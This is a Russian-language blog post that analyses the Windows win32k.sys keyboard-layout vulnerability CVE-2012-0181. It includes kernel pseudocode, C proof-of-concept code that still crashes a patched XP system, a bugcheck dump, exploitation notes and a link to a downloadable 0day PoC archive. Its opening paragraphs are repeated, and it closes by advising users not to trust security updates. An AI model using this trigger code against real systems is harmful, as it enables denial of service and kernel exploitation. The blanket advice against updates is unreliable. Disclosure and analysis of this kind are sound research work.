В начале этого месяца Microsoft выпустила бюллетень безопасности MS12-034, который сообщает о целых 10-ти совершенно разношерстных уязвимостях, среди которых присутствует даже старая и давно известная уязвимость в обработке TTF шрифтов (CVE-2011-3402). Разнообразие упомянутых в бюллетене продуктов объясняется тем, что очень похожий уязвимый код использовался в разных бинарных модулях.
Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.
Реализация поддержки клавиатурных раскладок в Windows, как и большая часть кода в win32k.sys, содержит в себе целую массу сомнительных решений. Их корни, вероятно, тянутся к тем сильным архитектурным изменениям, которые претерпевала графическая подсистема Windows во времена ранних версий NT. Клавиатурная раскладка представляет собой обыкновенный PE-файл, в секции .data которого хранится вся необходимая информация. Стандартные раскладки находятся в директории %SystemRoot%\system32, с префиксами KBD* (например – KBDUS.DLL). Полный список зарегистрированных раскладок хранится в ключе реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\{LAYOUT_ID}, где {LAYOUT_ID} – уникальный идентификатор конкретной раскладки. Их загрузка осуществляется с помощью функции LoadKeyboardLayout():
В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.
Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
Как видно, какие либо проверки корректности PE-образа и находящихся в нём структур – отсутствуют. Приведенный код функции win32k!ReadLayoutFile() отличается от такового в более поздних версиях операционной системы. Начиная с Windows Server 2003 в нём таки добавились проверки структуры PE файла на предмет корректности, а так же проверка упомянутых выше смещений, берущихся из параметра offTable. Кроме того, начиная с Windows Vista в функции win32k!xxxLoadKeyboardLayoutEx() появились проверки на предмет того, находится ли файл, дескриптор которого передаётся в win32k!NtUserLoadKeyboardLayoutEx(), в директории %SystemRoot%\system32. Благодаря этому, по замыслу вендора, любые уязвимости при обработке клавиатурных раскладок на NT 6.x (включая CVE-2010-2743, которую использовал червь Stuxnet) могут быть полезны разве что в контексте Local Admin to Ring 0 атак, но не для «настоящего» повышения привилегий.
Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.
Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:
Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
Таким образом, уязвимость относится к классу Pool Corruption, и позволяет перезаписать некоторое количество указателей, которые находятся в границах от 0 до 0xFFFF относительно участка пула, выделенного под структуры клавиатурной раскладки (обычно, их размер составляет несколько Кб). Однако, на практике эксплуатация данной уязвимости сложнее, чем в случае с обычным переполнением. Данные, которыми перезаписывается указатель за границами участка пула, не контролируются атакующим непосредственно, а являются производными от макроса FIXUP_PTR() и зависят как от оригинального содержимого перезаписываемой памяти, так и от адреса участка пула, выделенного под данные клавиатурной раскладки (см. pBaseVirt в листинге win32k!ReadLayoutFile).
В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.
https://dl.dropbox.com/u/22903093/win32k_KeyboardLayout_expl-18.05.12.rar
Для пользователей – не доверять обновлениям безопасности. Вендорам – не лениться делать нормальный аудит кода во избежание таких глупых факапов как этот.
Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.
Немного истории
Реализация поддержки клавиатурных раскладок в Windows, как и большая часть кода в win32k.sys, содержит в себе целую массу сомнительных решений. Их корни, вероятно, тянутся к тем сильным архитектурным изменениям, которые претерпевала графическая подсистема Windows во времена ранних версий NT. Клавиатурная раскладка представляет собой обыкновенный PE-файл, в секции .data которого хранится вся необходимая информация. Стандартные раскладки находятся в директории %SystemRoot%\system32, с префиксами KBD* (например – KBDUS.DLL). Полный список зарегистрированных раскладок хранится в ключе реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\{LAYOUT_ID}, где {LAYOUT_ID} – уникальный идентификатор конкретной раскладки. Их загрузка осуществляется с помощью функции LoadKeyboardLayout():
HKL WINAPI LoadKeyboardLayout( __in LPCTSTR pwszKLID, __in UINT Flags );
В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
HKL WINAPI NtUserLoadKeyboardLayoutEx( HANDLE Handle, DWORD offTable, PUNICODE_STRING puszKeyboardName, HKL hKL, PUNICODE_STRING puszKLID, DWORD dwKLID, UINT Flags );
Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.
Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
ChildEBP RetAddr f877990c bf881e25 win32k!ReadLayoutFile f877992c bf8b9574 win32k!LoadKeyboardLayoutFile+0x6a f87799b4 bf92a002 win32k!xxxLoadKeyboardLayoutEx+0x1b1 f8779d40 8053d6f8 win32k!NtUserLoadKeyboardLayoutEx+0x164 f8779d40 7c90e514 nt!KiFastCallEntry+0xf8
В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
1 PKBDTABLES ReadLayoutFile( 2 PKBDFILE pkf, 3 HANDLE hFile, 4 UINT offTable, 5 PKBDNLSTABLES *ppNlsTables) 6 { 7 // ... 8 9 // Смещение _KBDNLSTABLES 10 UINT offNlsTable = HIWORD(offTable); 11 12 // Смещение _KBDTABLES 13 offTable &= 0x0000FFFF; 14 15 /* 16 Здесь происходит чтение содержимого файла. 17 ... 18 */ 19 20 NumberOfSubsections = NtHeader->FileHeader.NumberOfSections; 21 22 OffsetToSectionTable = sizeof(ULONG) + 23 sizeof(IMAGE_FILE_HEADER) + 24 NtHeader->FileHeader.SizeOfOptionalHeader; 25 26 SectionTableEntry = (PIMAGE_SECTION_HEADER)((PBYTE)NtHeader + 27 OffsetToSectionTable); 28 29 // Поиск секции данных. 30 while (NumberOfSubsections > 0) 31 { 32 if (strcmp(SectionTableEntry->Name, ".data") == 0) 33 break; 34 35 SectionTableEntry++; 36 NumberOfSubsections--; 37 } 38 39 if (NumberOfSubsections == 0) 40 { 41 goto exitread; 42 } 43 44 // We found the section, now compute starting offset and the table size. 45 offTable -= SectionTableEntry->VirtualAddress; 46 dwDataSize = SectionTableEntry->Misc.VirtualSize; 47 48 pBaseDst = UserAllocPool(dwDataSize, TAG_KBDTABLE); 49 if (pBaseDst != NULL) 50 { 51 VK_TO_WCHAR_TABLE *pVkToWcharTable; 52 VSC_LPWSTR *pKeyName; 53 LPWSTR *lpDeadKey; 54 55 pkf->hBase = (HANDLE)pBaseDst; 56 RtlMoveMemory(pBaseDst, (PBYTE)DosHdr + 57 SectionTableEntry->PointerToRawData, dwDataSize); 58 59 if (ISTS()) { 60 pkf->Size = dwDataSize; // For shadow hotkey processing 61 } 62 63 // Compute table address and fixup pointers in table. 64 pktNew = (PKBDTABLES)(pBaseDst + offTable); 65 66 // The address in the data section has the virtual address 67 // added in, so we need to adjust the fixup pointer to 68 // compensate. 69 pBaseVirt = pBaseDst - SectionTableEntry->VirtualAddress; 70 71 FIXUP_PTR(pktNew->pCharModifiers, pBaseVirt); 72 FIXUP_PTR(pktNew->pCharModifiers->pVkToBit, pBaseVirt); 73 74 if (FIXUP_PTR(pktNew->pVkToWcharTable, pBaseVirt)) 75 { 76 for (pVkToWcharTable = pktNew->pVkToWcharTable; 77 pVkToWcharTable->pVkToWchars != NULL; pVkToWcharTable++) 78 FIXUP_PTR(pVkToWcharTable->pVkToWchars, pBaseVirt); 79 } 80 81 /* 82 Здесь пропущено множество вызовов FIXUP_PTR() для внутренних структур 83 клавиатурной раскладки. 84 ... 85 */ 86 87 if (offNlsTable) 88 { 89 // Compute table address and fixup pointers in table. 90 offNlsTable -= SectionTableEntry->VirtualAddress; 91 pknlstNew = (PKBDNLSTABLES)(pBaseDst + offNlsTable); 92 93 // Fixup the address. 94 FIXUP_PTR(pknlstNew->pVkToF, pBaseVirt); 95 FIXUP_PTR(pknlstNew->pusMouseVKey, pBaseVirt); 96 97 // Save the pointer. 98 *ppNlsTables = pknlstNew; 99 100 // ... 101 } 102 } 103 104 // ... 105 }
Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
#define FIXUP_PTR (p, pBase) ((p) ? (p) = (PVOID)((PBYTE)pBase + (WORD)(ULONG_PTR)(p)) : 0)
Уязвимость
Как видно, какие либо проверки корректности PE-образа и находящихся в нём структур – отсутствуют. Приведенный код функции win32k!ReadLayoutFile() отличается от такового в более поздних версиях операционной системы. Начиная с Windows Server 2003 в нём таки добавились проверки структуры PE файла на предмет корректности, а так же проверка упомянутых выше смещений, берущихся из параметра offTable. Кроме того, начиная с Windows Vista в функции win32k!xxxLoadKeyboardLayoutEx() появились проверки на предмет того, находится ли файл, дескриптор которого передаётся в win32k!NtUserLoadKeyboardLayoutEx(), в директории %SystemRoot%\system32. Благодаря этому, по замыслу вендора, любые уязвимости при обработке клавиатурных раскладок на NT 6.x (включая CVE-2010-2743, которую использовал червь Stuxnet) могут быть полезны разве что в контексте Local Admin to Ring 0 атак, но не для «настоящего» повышения привилегий.
Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.
Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:
- Корректная проверка значения offTable для всех версий Windows, начиная с Server 2003.
- На XP и Server 2003 был перенесён (см. «Keyboard layout behavior introduced with Windows Vista conditionally applied down-level») уже упомянутый код из более поздних версий Windows, который разрешает загружать клавиатурные раскладки только из тех файлов, которые хранятся директории %SystemRoot%\system32. В исправленном после выхода MS12-034 модуле win32k.sys функция win32k!xxxLoadKeyboardLayoutEx() вызывается через специальную обёртку win32k!xxxSafeLoadKeyboardLayoutEx(), которая так же вызывает функцию win32k!ConvertHandleAndVerifyLoc (), где и проверяется путь к файлу.
- Информация об уязвимости и её эксплуатации, которая содержится во writeup-е от Core Security, касается, предположительно, только версий Windows начиная с Server 2003. Слово «предположительно» в данном случае я употребил потому, что вместо внятного описания уязвимого фрагмента кода с приведением дизассемблерного листинга Core Security привёл только общие слова.
- Microsoft, получив от Core Security описание уязвимости и PoC-код к ней, не смогли воспроизвести проблему на Windows XP, и вместо полного аудита кода проблемных функций на всех платформах ограничились быстрыми и грязными хаками.
1 /* 2 Когда offTable равен 0 -- смещение _KBDTABLES, которое используется 3 в win32k!ReadLayoutFile(), после вычитания из offTable виртуального адреса 4 секции данных равняется 0xfffff000: 5 6 win32k!ReadLayoutFile+0x6f (*): 7 mov esi,dword ptr [ebp+10h] ; offTable value 8 sub esi,dword ptr [eax+0Ch] ; Section RVA, 0x1000 9 10 Из-за этого происходит перезапись данных за границами выделенного участка пула, 11 при попытке применения базовых поправок к указателями внутри структур _KBDTABLES 12 и др. 13 14 ---- 15 (*) Версия win32k.sys -- 5.1.2600.6206 16 */ 17 18 HANDLE hFile = CreateFile( 19 "C:\\Windows\\system32\\KBDUS.DLL", 20 GENERIC_READ, FILE_SHARE_READ, 21 NULL, 22 OPEN_EXISTING, 23 0, NULL 24 ); 25 26 HKL hKl = GetKeyboardLayout( 27 GetWindowThreadProcessId(GetForegroundWindow(), GetCurrentProcessId()) 28 ); 29 30 DWORD dwId = 0x00031337; 31 UNICODE_STRING usLayoutName, usLayoutId; 32 WCHAR Id[20]; 33 34 wsprintfW(Id, L"%.8x", dwId); 35 RtlInitUnicodeString(&usLayoutName, NULL); 36 RtlInitUnicodeString(&usLayoutId, Id); 37 38 NtUserLoadKeyboardLayoutEx( 39 hFile, 40 0, // <-- offTable 41 &usLayoutName, 42 hKl, 43 &usLayoutId, dwId, 44 0x101 45 );
Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: e10650d3, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: bf881fb6, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000001, (reserved) Debugging Details: ------------------ READ_ADDRESS: e10650d3 Paged pool FAULTING_IP: win32k!ReadLayoutFile+183 bf881fb6 803800 cmp byte ptr [eax],0 MM_INTERNAL_CODE: 1 IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 4f85831a MODULE_NAME: win32k FAULTING_MODULE: bf800000 win32k DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: win32k_Keyboard TRAP_FRAME: b191c884 -- (.trap 0xffffffffb191c884) ErrCode = 00000000 eax=e10650d3 ebx=e105b008 ecx=e105b008 edx=00000000 esi=e106ac08 edi=e105c008 eip=bf881fb6 esp=b191c8f8 ebp=b191c90c iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282 win32k!ReadLayoutFile+0x183: bf881fb6 803800 cmp byte ptr [eax],0 ds:0023:e10650d3=?? Resetting default scope LAST_CONTROL_TRANSFER: from 804f7b8b to 80527c24 STACK_TEXT: b191c3c0 804f7b8b 00000003 e10650d3 00000000 nt!RtlpBreakWithStatusInstruction b191c40c 804f8778 00000003 00000000 c0708328 nt!KiBugCheckDebugBreak+0x19 b191c7ec 804f8ca3 00000050 e10650d3 00000000 nt!KeBugCheck2+0x574 b191c80c 8051cc4f 00000050 e10650d3 00000000 nt!KeBugCheckEx+0x1b b191c86c 805405f4 00000000 e10650d3 00000000 nt!MmAccessFault+0x8e7 b191c86c bf881fb6 00000000 e10650d3 00000000 nt!KiTrap0E+0xcc b191c90c bf881e25 e208f8e8 e10611c8 e105c008 win32k!ReadLayoutFile+0x183 b191c92c bf8b9574 800003a4 00000000 00000000 win32k!LoadKeyboardLayoutFile+0x6a b191c9b4 bf92a002 82273e08 800003a4 04090409 win32k!xxxLoadKeyboardLayoutEx+0x1b1 b191c9f0 bf8b91b5 82273e08 0000003c 04090409 win32k!xxxSafeLoadKeyboardLayoutEx+0xa9 b191cd40 8053d6f8 0000003c 00000000 0012fec8 win32k!NtUserLoadKeyboardLayoutEx+0x164 b191cd40 004011c4 0000003c 00000000 0012fec8 nt!KiFastCallEntry+0xf8 0012ff7c 004015de 00000001 00363c48 00362e80 win32k_KeyboardLayout_expl!NtUserLoadKeyboardLayoutEx+0x14 0012ffc0 7c817077 00330036 00360038 7ffdd000 win32k_KeyboardLayout_expl!__tmainCRTStartup+0x10f 0012fff0 00000000 00401726 00000000 78746341 kernel32!BaseProcessStart+0x23
Эксплуатация
Таким образом, уязвимость относится к классу Pool Corruption, и позволяет перезаписать некоторое количество указателей, которые находятся в границах от 0 до 0xFFFF относительно участка пула, выделенного под структуры клавиатурной раскладки (обычно, их размер составляет несколько Кб). Однако, на практике эксплуатация данной уязвимости сложнее, чем в случае с обычным переполнением. Данные, которыми перезаписывается указатель за границами участка пула, не контролируются атакующим непосредственно, а являются производными от макроса FIXUP_PTR() и зависят как от оригинального содержимого перезаписываемой памяти, так и от адреса участка пула, выделенного под данные клавиатурной раскладки (см. pBaseVirt в листинге win32k!ReadLayoutFile).
В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.
https://dl.dropbox.com/u/22903093/win32k_KeyboardLayout_expl-18.05.12.rar
Выводы?
Для пользователей – не доверять обновлениям безопасности. Вендорам – не лениться делать нормальный аудит кода во избежание таких глупых факапов как этот.